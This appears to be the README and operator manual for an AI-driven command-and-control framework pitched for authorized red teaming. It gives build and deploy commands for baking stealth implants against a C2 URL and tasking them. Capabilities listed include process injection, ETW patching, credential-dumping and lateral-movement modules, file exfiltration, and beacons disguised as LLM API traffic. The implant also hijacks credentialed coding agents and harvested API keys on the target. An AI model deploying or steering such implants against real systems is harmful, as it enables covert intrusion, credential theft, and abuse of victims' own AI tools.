Agentic C2 for red teaming (supposed to be lightweight) — the agent loop runs on the target. Your prompt becomes a live tool-loop on the host; the console steers, caps, and stops. Six binaries from one Go codebase, zero runtime requirements on the target, zero disk writes on Windows upgrades. Every Web UI action has a CLI verb and an HTTP endpoint.
Disclaimer — a 100% vibe-coded project (every line written by agentic AI) built to learn how agentic AI works; for authorized pentest / red / purple team exercises only. The authors take no responsibility for misuse or unauthorized activities. Inspired in part by AGENTIC C2 FRAMEWORK TOOL (ECHOTRIBBLE) (CFIC / ARCYBER / ArCTIC assessment event). Credits: coding models OrcaSAQ-2-Cyber-27B-Uncensored (OrcaRouter) and Qwen3.8-Flash-Next-Gyro-abliterated (huihui-ai / AgentionAI) on the DeepSeek Harness; vendored Go deps, Velociraptor / osquery bridges, and community BOF imports credited in the README. MIT.
Capabilities
LLM-driven autonomy on the host. A natural-language goal becomes a tool loop inside the implant: shell, file pull/push, compile on target, LOLBin templates, process injection, COFF BOFs in memory, lateral-auth probes, MCP web search, markdown skills (pushed at runtime, writable back via skill_save), per-agent memory. Autonomous or supervised; step budgets; live transcript; STOP mid-goal.
The host's own AI joins the loop.llmscan inventories local model servers, credentialed coding agents, running IDEs, vendor keys on disk; delegate uses any of them as a sub-agent while the loop's model stays operator-routed. A burned implant holds no console secret.
Stealth posture — cross-built from any host; per-build canary, parent spoofing, ETW suppression, XOR strings, direct syscalls on Linux, module-path randomization, sandbox auto-detection, watchdog restart; a one-shot stager reflective-jumps or remote-injects; persistence is a runtime toggle. The beacon is an OpenAI-shaped URL over an ECIES envelope, with malleable profiles (default, saas-poll, cdn-prefetch, ws-message, custom templates) — so passive traffic reads as calls to an LLM API.
Upgrades that never touch the disk. Reflective load + re-exec, no staged file; --write-file persists under the same filename (rename-aside when siblings lock the base). Unix/macOS upgrade atomically in place.
Modules — reflective COFF/BOF on Windows (in-process), relocatable ELF (ET_REL) in-process on Unix; Sliver/Cobalt extension.json sidecars auto-attach. A first-party catalog (recon, scan, local, creds, evidence, lateral, AD corpus) reports structured facts — the LLM reasons, the modules verify — and it implements the protocols itself rather than spawning children: SMB2, RPC/DCOM WMI, HTTP+NTLMv2 ADCS, SAM/SYSTEM hive reads. No cmd.exe/wmic.exe on the host; plain ELF executables and Mach-O, which we cannot load in process, run as a child. Capabilities extend mid-engagement: module bytes, skills, and MCP servers are pushed — no rebuild, no re-deploy.
Every channel — HTTPS primary with DNS TXT and ICMP failover, plus a WireGuard tunnel where each agent's WG peer is its mTLS cert; channels self-heal when the console comes back.
Pivoting that works with your tools — SOCKS5 (TCP + UDP relay) at a pivot agent: nmap, Burp, proxychains, RDP; multi-hop through gateways; Windows named-pipe pivots for hosts with no network egress.
Mission roles — red / blue (sensor: detection active, execution read-only) / dual, flipped at runtime or baked with --role. A blue sensor emits deterministic deviation detections — typed observed-versus-baseline diffs of processes, listeners, outbound destinations, watched files, and registry keys, each citing both sides; no ML, no opaque score. Velociraptor and osqueryi are deployed to the agent through the beacon itself, and their results land in the same console.
Agents talk to each other — console-relayed messaging injected into the receiver's LLM context; contact sets auto-learn; a blue sensor hands deep-dive actions to a red agent.
A real operator console — SSE fleet table, per-agent Workbench, live shell (ConPTY / PTY, UI or console pty), chunked file exfil, goal scheduling, kill switch, recon graph from module output, console-as-CA PKI, audit trail, Messages.
Trust, enforced — per-agent ed25519 identity, mTLS with revocation that drops the WG route too, strict enrollment, replay guard, IP allow list, blocklist; named operators (viewer/blue/red/admin) with RBAC at one seam and an append-only, trigger-enforced audit trail.
The Iris console — one page, everything live.
Quick start
First run = plain HTTP, no certificates. Every hardening flag is optional — see "Optional hardening" below.
0 — Build (needs a Go toolchain on the console host only):
./build.sh # dist/ for linux, windows, darwin
1 — Start the console. The public port carries ONLY the agent surface; the operator surface stays on loopback behind a login. The LLM flags are what make it agentic — point them at any OpenAI-compatible endpoint, hosted or a local llama.cpp box:
--config console.json moves that launch into a JSON file whose keys are flag names (command-line flags still win); --check prints the resolved launch without binding anything.
--version (or -V) prints the build identity — version, toolchain, target — and exits. The Web UI banner badge carries the same version number, so a report can name the build it came from.
--console — Web UI + operator API. Operators only — with --beacon set agents never dial it (a beacon POST here is a bare 404). Bind 0.0.0.0 (or a LAN IP) only when operators come from other hosts.
--beacon — the ONLY port agents dial: beacon, /healthz, /data payload downloads; everything else a bare 404, so a scanner sees no operator controls.
--operator-auth — the Web UI + /api/* require a named-operator login (roles viewer/blue/red/admin). The sign-in page cannot create the first account — step 2 seeds it from the CLI.
--home owns all console data — SQLite state, pulled files, graph, modules, skills, payload all derive from it. Modules and skills folders are reconciled live: drop files in, they are picked up without a restart.
--llm-url (+ --llm-key) — the console's default LLM. Agents with no LLM of their own converge on it over the beacon, so a baked implant needs no LLM argument and never holds the key. Later alternatives: add endpoints from the UI's LLM registry or with console llm-default, or use the host's own models (llmscan finds them, delegate runs work through them) — those stay agent-side.
2 — Create the first operator. The sign-in page cannot bootstrap an account, so seed it against the state DB the console just created. --db edits that file directly, which is what you want here — there is no login to authenticate an API call yet — and the console reads accounts from the database on every login, so the new account works immediately while the server is running:
Open http://127.0.0.1:3080 and sign in with that name + password. More accounts (roles viewer / blue / red / admin): same command.
3 — Bake an implant (portable, zero runtime arguments; the builder compiles from this tree). Bake the console's agent-facing port — the address every target can reach:
C2_URL=http://<console-ip>:8080 ./implant.sh
That builds payload/implant.exe, implant_linux, implant_mac. Copy the matching one to the target and just run it — no arguments, and by design it prints nothing (bake with DEBUG=1 only when you want to watch its beacon log). The agent shows up in Fleet (you are already signed in from step 2).
Want the whole loop on one machine first? One line (loopback is fine here because the implant runs on the console host):
./dist/iris-console shell <agent> "whoami" # direct shell (no LLM needed)
./dist/iris-console send <agent> "find the AD domain admins" # LLM goal
./dist/iris-console pty <agent> # live interactive shell
Every Web UI action has a CLI verb and an HTTP endpoint — scripted operators and UI operators see the same system.
send needs an LLM: with no endpoint configured the goal ends immediately with no model answered at step 1. shell and pty work regardless.
Open the UI and drive it from the dock (Agents → Send Goal → Goals → Shell → Files → Blue Workspace → Graph → Modules → Skills → Tune → Global → Transport → Audit → Operators). Transport holds both halves of the mTLS story: the WireGuard tunnel and the certificate authority.
Optional hardening
These layer in whenever you want:
--strict — first-seen agents land PENDING until approved in Fleet.
--cert (or --cert/--certkey) — TLS on both listeners without a PKI: server-auth HTTPS, client cert optional (identity stays the per-agent ed25519 signature). The beacon port sniffs, so https:// agents and proxy-routed plain HTTP share one port. A combined bundle works alone: --cert server.bundle.pem.
--mtls — TLS on the beacon channel, console acts as its own CA and REQUIRES a verified client cert (cert = credential; revocation drops the WG route too). Per agent: console certs issue <name> --out bundle.pem, bake with --cert bundle.pem. The bundle carries the console CA, so https://127.0.0.1:<beacon-port> verifies with no extra flag (server certs ship localhost + 127.0.0.1/::1 SANs); LAN IPs / hostnames need --mtls-san <host[,ip]> at PKI init. No bundle: INSECURE=1 ./implant.sh.
Binaries & build
Binary
Source
What it is
iris
./
unified agent + console in one binary
iris-agent
cmd/iris-agent
agent-only build (operator-run, takes flags at runtime)
iris-console
cmd/console
console-only build (server + Web UI + CLI verbs)
iris-implant-builder
cmd/implant-builder
cross-compiles config-baked portable implants
iris-stager-builder
cmd/stager-builder
one-shot stager: downloads the implant, reflective load + jump — or remote process inject
iris-lite-builder
cmd/lite-builder
builds the tiny C core implant (Windows)
./build.sh # all platforms → dist/<goos>-<arch>/
./build.sh --platforms linux-amd64,windows-amd64
./build.sh --test # gate first (build+vet+gofmt+test)
./build.sh --clean # wipe dist/ before building
build.sh and implant.sh locate the toolchain the same way: $GO if set, then go on $PATH, then the usual install locations (/usr/local/go/bin, homebrew, ~/go/bin, ~/sdk/*/bin) — nothing assumes a specific machine. If none is found they say so and exit; install Go 1.27+ or pass GO=/path/to/go.
C2_URL=https://c2.yourdomain.com ./implant.sh # example bakes: windows (+stealth), linux, macos
All Go dependencies are vendored under third_party/ with local replace directives — the build is fully offline. The builder cross-compiles from any host: Windows/Linux/macOS targets from one machine, --target-os/--target-arch.
Console internals — flags & endpoints
iris-console is the server side in one binary: the beacon listener agents dial into, the HTTP API every client rides (the Web UI, the CLI, and the REPL are all just clients of it), and the operator Web UI. One process serves all of it — you start it with serve, and every other CLI verb is a remote call into this same server.
A production console needs four flags — where to bind, where its data lives, what to serve to agents, and how operators authenticate:
Full flag reference, grouped by what each flag actually controls:
Surfaces & TLS — who reaches what. --console is the operator surface (keep it internal); --beacon is the public agent-facing listener agents dial:
Flag
Default
Meaning
--console
127.0.0.1:3080
operator surface: Web UI + operator API. With --beacon set it serves NO beacon (bare 404) — agents dial --beacon only. Keep the default — the operator surface should NOT be network-exposed; bind 0.0.0.0 only when operators connect from other hosts
--beacon
—
the ONLY agent-facing surface when set (POST /v1/chat/completions, /healthz, /data) exposed to the internet; the operator surface stays internal. Protocol by flag: no cert → plain HTTP only; --cert/--certkey → TLS (client cert optional) + plain HTTP sniffed on the same port; --mtls → TLS requires a verified client cert + plain HTTP for proxy-routed agents. --addr / --ext-addr are accepted as deprecated aliases of --console / --beacon (renamed 0.12.4)
--cert / --certkey
—
server TLS certificate + key (HTTPS on both listeners). A combined cert+key bundle works as --cert bundle.pem alone; a split pair needs both flags; --certkey without --cert warns and serves without TLS. Half-pair load failures abort with the reason. Peer-side handshake rejections (browser refusing a self-signed cert, https probe with no client cert, early close) are summarized every 50, not logged per line. On --beacon the port sniffs: TLS ClientHello → HTTPS, anything else → plain HTTP, so direct https:// agents and proxy-routed HTTP share one port. Without --mtls a client cert is NOT required — beacon identity stays the ed25519 envelope signature. With --mtls and no cert files the console mints its own
--payload
—
serve a folder publicly at /data on the beacon-only listener (implants, VR/osquery binaries, upgrade URLs)
--addr
—
deprecated alias of --console
--ext-addr
—
deprecated alias of --beacon
Agent authentication — how beacons prove identity and what they must pass before any work runs:
Flag
Default
Meaning
--mtls
off
console-as-CA: beacons require the agent's client cert; revocation drops the peer + WG route
--mtls-san
localhost
Server-cert SANs for --mtls — the hostnames agents dial. Set it to the name in the beacon URL or certificate verification fails
--strict
off
first-seen agents land PENDING; their work is held until approved
--key-mismatch
off
a beacon whose signature fails is flagged for approve/deny instead of rejected (key rotation)
--ip-allowlist / --ip-allowlist-file
—
restrict beaconing source IPs (IP / CIDR / a-b range / a.b.c.* per line); others get 403
--beacon-ts-window
15m
allowed envelope timestamp drift (replay guard)
--beacon-replay
on
replay guard: the envelope timestamp must sit inside --beacon-ts-window, and an (agent, nonce) pair seen once is rejected when it reappears, so a captured beacon body cannot be resent. --beacon-replay=false turns both checks off
--no-ecies
off
disable ECIES beacon encryption: the beacon stays plaintext for every agent (the console generates no X25519 keypair, agents send none)
Operator authentication — the human side of the wall:
Flag
Default
Meaning
--operator-auth
off
gate the operator surface behind named-operator login (roles below; sessions with absolute+idle expiry)
--disable-legacy-password
off
turn off the legacy shared-password path (X-Password / Authorization: Bearer header + password-only login); named operators become the only credentials — create an admin first. The shared-password login stays open until the console has an active named operator, so a bootstrapped password can still sign in (and create that first account); it closes the moment one exists
serve has no --key flag — the shared beacon key was retired in 0.11.5: agent auth is the per-agent ed25519 signature or the mTLS cert.
Channels — the paths a beacon can take (HTTPS is primary; the rest are failover or pivoting infrastructure):
Flag
Default
Meaning
--dns / --zone
—
DNS TXT side-channel server (host:port, zone iris.local)
public WG endpoint advertised to agents on every beacon (bake --wg-addr auto to follow it without rebuilds)
--socks-port
off
SOCKS5 pivot proxy; also starts the UDP relay (port+1) and named-pipe proxy (port+2)
--socks-agent
—
pin SOCKS routing to one pivot agent at startup
--beacon-path
persisted
the beacon URL path served + pushed to agents; the defaults stay served so agents always re-converge. Changeable live: UI box or console beacon-path [path]
--wg-port
—
deprecated alias of --wg-listener
Console data — one --home root, or explicit slots:
Flag
Default
Meaning
--home
—
root for all console-owned data: state DB, files/, graph, modules/, skills/, payload/; explicit folder flags override per slot
--db
derived
SQLite state database; db verify · export · backup · stats verbs operate on it
--state
iris-state.json
legacy JSON state path (imported once into SQLite beside it; SQLite is authoritative)
--runtime-dir
—
directory for pulled files + graph export
--skills-folder
—
serve skill .md packs to agents
--modules-folder
—
persist the COFF/BOF module library (survives restarts, reconciled live — folder edits are picked up without a restart); a modules.json manifest declares type + description
--anom-retention
0
days to keep detection-feed entries (0 = keep forever)
--config
—
JSON launch file: keys are serve flag names, repeatable, later files win, a command-line flag always beats the file. Full contract: launch config file
--check
off
validate --config and print the resolved launch settings (explicit values marked, secrets masked), then exit without binding anything
Defaults pushed to agents — things the console hands down at beacon time, all changeable at runtime without restart:
Flag
Default
Meaning
--global / --global-file
—
standing instruction every agent's goals must follow
--startup / --startup-file
—
one-on-launch instruction queued once for every new agent (agent-baked --startup-goal overrides)
--llm-url / --llm-key / --llm-model
—
console default LLM: agents without their own are proxied through it (the key never leaves the console)
--goal-cap N
200
goal-history display cap (export stays uncapped); runtime-tunable
--alert-webhook
—
POST every new high/known_bad anomaly as JSON (deduped 10 min per key)
--vr-url
/data/velociraptor.exe
Velociraptor client deploy URL handed to agents on deploy. A /-path resolves against the beacon base (the --payload folder); an absolute http(s) URL is used as given
--osq-url
/data/osqueryi.exe
osquery client deploy URL — same resolution rules
Launch config file
serve --config <file> reads a flat JSON object whose keys are serve flag names and nothing else. The file is translated into flag arguments and applied before the command line, so precedence is:
Keys are flag names, verbatim — no aliases, no nesting. Unknown keys fail with a suggestion (unknown setting "mtls-san2" (did you mean "mtls-san"?)), so a key that would do nothing never slips through.
Deprecated flag names are refused (addr, ext-addr, wg-port): the error names the canonical key, so a retired spelling can't get baked into a launch file.
Values match the flag's own type — booleans true/false (an explicit false switches a default-on flag off), numbers for caps, duration strings like "15m", and a list becomes the flag's comma form ("ip-allowlist": ["1.1.1.1", "10.0.0.0/8"]). A bad value fails naming the file and the key, before anything binds.
~/ expands in config values (path flags); command-line paths are unchanged. Values are otherwise literal — no shell or variable expansion.
Secrets stay values, not variables — keep the file 0600; --check masks key/password/token values (llm-key = ••••) so the resolved launch can be reviewed without printing the credential.
The startup log names the file: config: console.json — 12 settings applied, above the listener lines.
Every verb goes through the running console's API when one answers (audited, needs a login). An explicit --db overrides that and edits the database file directly — the bootstrap path, where no credential exists yet to authenticate an API call. The console looks operators up in the database per login, so a direct edit is live immediately.
Role
Can
viewer
read everything, mutate nothing
blue
Blue Workspace IR only: Velociraptor / osquery runs, IOC sets, probes, anomaly dispositions, messages — no goals, no shell, no red actions
red
full operator: goals, shell, modules, pivoting, kills
With no password set, the first PASSWORD-ONLY login (CLI/API legacy path, admin) bootstraps the shared password — the UI sign-in form always requires a name, so the first UI account comes from console operator add. Every mutation and every denial lands in the audit trail with the actor name.
Mission roles (red · blue · dual)
Every agent carries a mission role — flip it at runtime, no redeploy:
sensor agent: detection subsystems active (baseline, IOC convergence, anomaly feed, Velociraptor / osquery) and goal execution is read-only — action tools refuse with an explicit reason
dual
both: acts on offense while the sensor side reports to Blue Workspace
Flip: UI (Fleet row / Workbench chip) or console role <agent|--all> red|blue|dual — rides the CONFIG push, applies on the agent's next beacon; the badge then shows the APPLIED role. Rapid flips are last-write-wins (superseded pushes don't replay through the agent).
Bake: implant-builder --role red|blue|dual sets it at build time.
Capability gate:blue/dual need a sensor-capable payload (0.11+); the console refuses the flip on older implants instead of pretending.
Upgrades re-HELLO with the baked role — if you flipped an agent at runtime, re-apply console role after upgrading it.
Blue Workspace only tracks agents with a sensor role (blue/dual); operator RBAC role blue is a person permission (hunt / IOC / probe / disposition actions), unrelated to agent roles.
Certificates (console-as-CA)
iris console certs init --san c2.example.com,203.0.113.5 # CA + server cert
iris console certs issue <name> --days 365 --out bundle.pem # per-agent client cert
iris console certs list | show <id> | revoke <id> | remove <id>
iris console certs revoke-all | remove-all | ca # fleet-wide resets
The issued bundle is one PEM (cert chain + key + an IRIS WG PRIVATE KEY block). The cert itself carries the agent's WireGuard public key in a custom extension — baked implants and WG peers read their WG identity from the cert; enrollment is peer provisioning. An agent may beacon without a cert under signature auth.
Enrolling agents
Default: first-seen agents auto-approve (trust-on-first-use); their ed25519 key is pinned at HELLO — compromise one agent, not the fleet.
--strict: first-seen agents land PENDING (amber badge) until you click ✓ approve / ✗ deny (console API twin: POST /api/agents/approve|deny).
Key rotation: --key-mismatch flags a beacon whose signature fails; approve adopts the new key, deny keeps the old one.
Blocklist: beacons from a blocklisted agent get 403 until un-blocklisted; survives restarts (console blocklist <agent>).
IP allow list: reject beaconing from IPs outside the list (runtime-editable, UI or console ip-allowlist).
Verb inventory
The full verb inventory and the interactive REPL live on their own page: CLI verbs & REPL — full inventory. Every Web UI action has a CLI twin; one login serves all verbs, and flags may appear before or after positionals on every verb.
HTTP API
Operator endpoints sit under /api/* (named-operator session or legacy X-Password header); agent endpoints sit on the beacon surface. Full route inventory (the console’s RBAC policy table — exact, prefix, and suffix rules):
Area
Routes
Fleet
GET /api/agents · POST /api/agents/approve · deny · hide · new · new-flag · import · kill · role · stealth · boost · persist · unpersist · blocklist · unblocklist · DELETE /api/agents/<id> (soft-remove) · POST /api/agents/<id>/recon · sysprompt · upgrade · inject · modules/run · GET /api/agents/<id>/contacts · POST /api/revoke-key
Goals & shell
GET /api/goals (?full=1 uncapped export · &shell=1 shell history) · GET /api/goals/<id> (full transcript) · POST /api/goals · POST /api/goals/<id>/decision · POST /api/goals/import · DELETE /api/goals/<id> · POST /api/cancel · POST /api/clear · GET/POST /api/schedule · DELETE /api/schedule/<id> · GET /api/goal-cap · GET/POST /api/default-mode · POST /api/pty/start · in · resize · end · transcript · GET /api/pty/status · out · console-side PTY: POST /api/pty/console/start · in · resize · end · GET /api/pty/console/out
GET /api/files/list · GET /api/files/download/<id> · POST /api/files (push) · POST /api/push (agent-side upload alias) · DELETE /api/files/<id> · pulled files at GET /files/<id> · payload at GET /data/<id>
Blue Workspace
GET /api/anomalies · POST /api/anomalies/disposition · capture · GET /api/artifacts · GET/POST /api/iocs · POST /api/iocs/bump · remove · GET /api/hunts · POST /api/hunts/delete · edit · restore · GET /api/probes · POST /api/probes/delete · edit · restore · POST /api/agents/vr/deploy · run · POST /api/agents/osq/deploy · run · GET /api/agents/<id>/baseline (baseline + diff) · POST /api/agents/<id>/baseline (set · clear · diff)
Pivot
POST /api/pivot/enable · disable · GET /api/pivot/status · streams · listeners · POST /api/pivot/listen · unlisten · socks-agent
Modules
GET /api/modules · POST /api/modules (upload) · PUT /api/modules/<id> · DELETE /api/modules/<id> · module bytes at GET /data/modules/<id>
Skills
GET /api/skills · GET /api/skills/<name> (agent-facing fetch) · PUT /api/skills/<id> · DELETE /api/skills/<id> · GET /api/skills/pending · POST /api/skills/pending/<id> (approve/reject agent proposals)
PKI
GET /api/certs · POST /api/certs/init · issue · revoke · remove · remove-all · revoke-all
WireGuard
GET /api/wg (listener state + peers)
Operators & auth
GET /api/operators · POST /api/operators/add · disable · enable · delete · passwd · role · POST /api/login · logout · password · GET /api/me · POST /api/me/passwd (self — any role, own account)
Messages
GET/POST /api/messages · GET /api/messages/cap · DELETE /api/messages/<id>
Events/Audit
GET /api/events · POST /api/events/import · GET /api/events/stream (SSE) · GET /api/stream (agent-event stream)
Graph
GET /api/graph · GET /api/graph/report · POST /api/graph/reset
Status
GET /api/status · GET /healthz (beacon surface) · GET /workbench/<id> (per-agent page)
Agent surface
POST /b + POST /v1/chat/completions (beacon; ECIES envelope) · POST /llm/<id> (LLM proxy) · GET /data/<id> (payloads) · GET /pivot/channel, /iris.PTY/Channel (pivot + PTY channels) · GET /pivot/poll, POST /pivot/send (long-poll pivot transport — the fallback for an implant whose WebSocket upgrade cannot get through its egress path; same frame dispatch as the WS channel, authenticated by client cert or X-Pivot-Agent, held 25 s when idle) · GET /pty + /pty/xterm.js · addon-fit.js · xterm.css (PTY window)
Goal requests (POST /api/goals)
One body, several kinds of work. Targets: agent (one id), agents (exact list), broadcast (every registered agent) — normalized server-side, so a dirty id never reaches the registry.
Field
Work it describes
Meaning
agent / agents / broadcast
target
one id · exact list · every registered agent
goal
LLM goal
free-text objective — the agent runs the think → act → observe loop
cmd
shell directive
one line, no LLM. The row tags model=shell and exports/purges separately
interp
shell directive
force the interpreter: powershell | cmd (empty = platform default)
cmd_timeout_s
shell directive
per-command timeout
tool + tool_args
direct tool
one executor tool, no LLM — args exactly as the registry defines them (§Tools)
file_path
file pull
the agent reads that file and sends it over the data channel (goal text pull file: …)
max_steps
LLM goal
per-goal loop cap (0 = the agent's global --max-steps)
llm
LLM goal
per-goal routing: empty · local · remote · a model id
mode
LLM goal
autonomous (default) · supervised (pauses on each plan for plan <id> approve|reject)
Attribution (actor) is set server-side from the authenticated operator — a client-supplied actor is ignored. Velociraptor and osquery goals are queued by their own endpoints and carry the artifact name on the stored goal, not in this body. POST /api/goals/<id>/decision answers a supervised plan; GET /api/goals/<id> returns the full transcript.
POST /api/schedule takes the same payload plus run_at, so a scheduled goal is indistinguishable from a hand-sent one once it fires.
Live shell
Web UI: the Pty icon on an agent row (or Workbench Pty) opens a full interactive terminal — Windows ConPTY on the implant side.
CLI: console pty <agent> [cmd...]; ^]q quits and kills the session.
Save transcripts: UI "Save transcript" or POST /api/pty/transcript.
Blue Workspace (defensive side)
Baseline — per-agent golden snapshot (processes, services, persistence, listening ports); drift shows as findings on every beacon.
IOC catalogs — curated artifact sets (Velociraptor .tara catalogs, e.g. GenericDetection.tara): pick a catalog, Run per agent, results show rows / IOC hits / age.
Deploy-clicks — Velociraptor and osquery deploy through an implant (download → stage → launch → register): UI buttons or POST /api/agents/vr/deploy / …/osq/deploy. Workflow guides: GUIDE-velociraptor-deploy.md, GUIDE-osquery-deploy.md.
Anomaly engine — behavioral checks on beacon metadata (egress drift, protocol switches, cadence breaks) surface as detections with the evidence line; dispositions are operator-set and --alert-webhook fires on new high/known_bad hits.
Containment — the Fleet row's LLM-proxy toggle (admin) 403s an agent's remote LLM calls; blocklist (red) rejects its beacons; kill ends it. Blue escalates instead: ESC opens a prefilled goal auto-targeted at a red/dual agent on the same host.
Playbook library — named goal templates for blue / dual sensors (40 max, goal text ≤ 4000 chars): add, edit, delete via POST /api/hunts, /api/hunts/edit, /api/hunts/delete, /api/hunts/restore (blue role). A playbook dispatches as an ordinary goal to the selected sensor(s); the blue dispatch surface itself stays read-only by charter, so playbooks are the written-down investigations, not a second dispatch channel.
FP suppression allowlist — dispositioning a detection as a false positive writes a suppression key (category|artifact|ioc) scoped to one agent or the whole fleet, with the operator's note attached. Later matching sightings are never stored. DELETE /api/allowlist/<id> re-arms the key: future sightings record again, but suppressed ones are already gone.
Operator IOC set — an operator-fed indicator array (proc, ip, hash, path, registry, domain, string, yara) with a version number that sensors converge on. POST /api/iocs/bump raises the version with no content change, which re-arms every sensor's disk-sweep cursor — the fleet re-sweep in one request.
Files & exfil
Pull: Workbench file explorer or console file <agent> <path> — chunked, reassembled across channel failover; console files lists, download fetches locally.
Push: console push <agent> <file> <dir> (≈4 MiB per file); UI Push in the explorer.
exfil (goal tool) streams large files through the same pipeline — one record per transfer, reassembled intact.
Payload folder (--payload) serves implant/BOF downloads at /data.
Backup & restore
The whole console state is one SQLite file (--home/iris-state.db, mode 0600, WAL): copy it while running or use
iris-console db backup <dest> # consistent snapshot
iris-console db verify # integrity
iris-console db export <file> # JSON dump
iris-console db stats
Restore = stop the console, put the file back, start.
Troubleshooting
The quick sheet is in USER-GUIDE.md (§9). The usual three: agent not beaming (check --beacon TLS / beacon path / IP allowlist), LLM errors (the agent shows the backend reply; check --llm-url proxy or the agent's own endpoint), stale upgrade URL (CDN caches /data — append ?v=N).
The implant (agent)
Run
A baked implant takes zero arguments — its build carries everything. The operator-run iris-agent binary takes the same flags at runtime:
Flag
Default
Meaning
--url
http://127.0.0.1:3080
console base URL
--id
stable per host (hostname-<hash8>)
agent id; same id every relaunch
--peer N
off
run a sibling agent of the same build on this host (<host-id>-N)
--poll
20
long-poll seconds per beacon (max 30)
--once
off
single beacon then exit (smoke test)
--insecure
off
skip TLS verification
--note
—
note included in HELLO
--debug
off
print operational logs (a running implant is silent otherwise)
--llm-url / --llm-model / --llm-key
env IRIS_LLM_*
OpenAI-compatible backend (flags beat env)
--llm-ctx
0
context window requested from local models
--llm-timeout
300
per-step LLM timeout
--model
—
pin one model from the pool
--probes
—
extra host:port LLM probes
--max-steps
40
tool-loop steps per goal
--mcp-url / --mcp-name / --mcp-key
—
extra MCP server (built-in: Firecrawl web search; --no-default-mcp to drop)
--memory-file
off
persist local memory to a randomized temp file (survives restart)
--mem-max
32
local-memory record cap
--sysprompt
—
custom system-prompt .md (contents baked at build time)
--mode
field
field (stealth-aware, self-heal policies) or lab (verbose, test bench); a sandboxed host auto-downgrades field to lab-like
--stealth
auto
auto (detect EDR/sandbox) · on · off
--fp-probes
off
extra fingerprint probes (service table, ver, WMI RAM, egress echo)
--parent-spoof
shell
spawner mode for every spawned action
--canary
iris-canary-v1
content-shift token (changes the file hash; never read at runtime)
--identity
—
process-name spoof at startup (Linux/macOS; Windows uses the file name)
--etw
off
ETW suppression (Windows; patches EtwEventWrite)
--pack
off
randomize the Go module path (removes iris/… symbol strings)
--dns-addr / --zone / --icmp-host / --channels
—
side-channel config + primary route and fallback order (wg,https = tunnel preferred once armed; https,wg = HTTPS preferred, tunnel as fallback)
--beacon-path
persisted
converge on the console's beacon path
--startup-goal / --startup-steps
—
once-on-launch goal + step cap
--hunt-budget
2000
files hashed per detection cycle by the IOC disk sweep (<=0 = default)
--hunt-maxfile
32 MB
per-file size cap for that sweep (<=0 = default)
--pivot
off
offer this agent as a pivot relay — the console enables relays live, so this only seeds it
--pty-tiers
ws,grpc
live-shell transport tier order, tried in sequence
--no-pty-grpc
off
drop the grpc tier from that ladder (websocket-only live shell)
--no-host-agents
off
disable host AI-agent handoff (scanning local coding agents and delegating to them)
--no-harvest-llm
off
disable remote LLMs built from harvested vendor API keys
An implant cut off from the console does not exit — it retries its HELLO on the beacon cadence and registers the moment the console is reachable.
Tools (the executor registry)
26 tools. The LLM calls them inside a goal loop; an operator can call any of them directly with tool — same tools, same args, no LLM.
A name the registry does not know is not an instant error: a host program of that name runs as a LOLBin, then a configured MCP server's tool of that name is proxied, and only then the agent answers unknown tool "x" (available: …). That reply is the live inventory.
Tool
Args
What it does
run
cmd (alias command; a bare args list is read as a command)
one shell line or argv — pipes, globs, redirects work
spawn
peer (integer ≥ 1)
detached sibling implant of this build, id <base>-<peer>
lolbin
name plus that program's args
shaped living-off-the-land templates; plain names run as themselves
read
path, optional offset, limit
file read
write
path, content, optional append
file write (TEMP-resolved name by default)
list
path / dir
directory listing
build
src
compile C/C++ with the host toolchain
net
—
interfaces and listening sockets, read natively (no child process)
env
—
environment and host facts
wait
ms (default 1000, capped)
sleep inside a goal
mcp
server, tool, args
call a registered MCP server
skill
name
load a skill pack
skill_save
name, content, reason
store a skill pack
memory
op: list (default) | show + seq | clear
the agent's own recollection of past goals
message
to, text
cross-agent message (queued by the console, injected on the next beacon)
exfil
path
large file out to the console, reassembled
inject
target (process name or PID), url, mode
reflective DLL load into a live process (Windows build only)
recon
tier: light (default, local facts) | full (adds domain queries)
shell history, log-file tails (Unix; the Windows event log is a separate surface), recently-modified files
lateral
action: winrm, plus host, user, pass, optional port, https
lateral auth probe against a target
delegate
prompt, optional model
hand a subtask to a host coding agent, take back its reply
llmscan
optional rescan (bool)
LLM pool inventory; rescan re-probes the host's coding agents
bof
action: list (default) | load (name, path) | run (name, args, arg_types, data) | unload (name)
reflective COFF load and run, on every platform — list shows what is loaded in that agent's process, not the console library (console module list). Native ELF/Mach-O modules go through module run
Ceilings are per tool, so a long enumeration is not cut off by the CLI wait: inject 120 s, scan 120 s, bof 120 s, local 90 s, recon / creds / evidence 60 s, lateral 30 s. A panic inside any tool degrades to a tool result (error: panic …) rather than killing the agent mid-goal.
Role gate: a blue agent (investigate, never mutate) refuses spawn, lolbin, inject, write, build, lateral, delegate, urlfetch — the result says why and how to flip the role to red / dual.
upgrade (lite → full) is a channel action, not a registry tool.
The loop is strict JSON think → act → observe, capped by --max-steps, with a wrap-up nudge in the last two steps. Supervised mode pauses for plan approval (plan <id> approve|reject).
LLM backends & proxy
The agent discovers OpenAI-compatible endpoints (probe list + what it finds on the host) and fails over between them.
Console proxy (--llm-url on serve): agents without their own LLM are pointed at it; API keys stay on the console and never touch the target. Re-point live: console config --llm <url> [--llm-key …].
Modules (BOF / ELF / Mach-O)
Windows: reflective COFF loader, in-process (Beacon API implemented in pure Go — no child process). Linux/macOS: in-process ELF / Mach-O.
Import: UI Modules panel (upload), POST /api/modules, or drop files in --modules-folder (reconciled live — no restart needed; a modules.json manifest declares type detection|reporting|control + description). Sliver/Cobalt extension.json sidecars beside a module binary auto-attach — arg names/types pack exactly.
Run: Modules panel Run (args box), console module run <agent> <name> [args…], or POST /api/agents/<id>/modules/run. The agent's LLM can pick catalog modules itself.
First-party catalog: iris/tasklist · netstat · regquery · pth · sam · vault · adcsreq · psexec · wmiexec · adenum · screenshot plus the imported cs/* AD corpus; modules report structured facts, the LLM reasons over them. (recon · scan · local · creds · evidence · lateral are the agent's built-in tools, not modules.)
Channels & failover
Primary HTTPS; automatic failover to DNS TXT (--dns-addr baked or console-pushed) and ICMP; WireGuard when provisioned. Fleet shows the last channel used; channel switches are audited. Self-heal: 5 consecutive failed beacons trigger re-HELLO + channel-set rebuild, 30 trigger a field self-restart, and a failed goal result retries twice — baked defaults in internal/settings (no live dial).
WireGuard tunnel
certs init + certs issue <agent> — the agent's WG keypair rides in the cert bundle; bake with --cert bundle.pem --wg-addr auto --channels wg,https.
Console: --wg-advertise <public-endpoint> (brings up the listener on that port; peers are added lazily on each beacon).
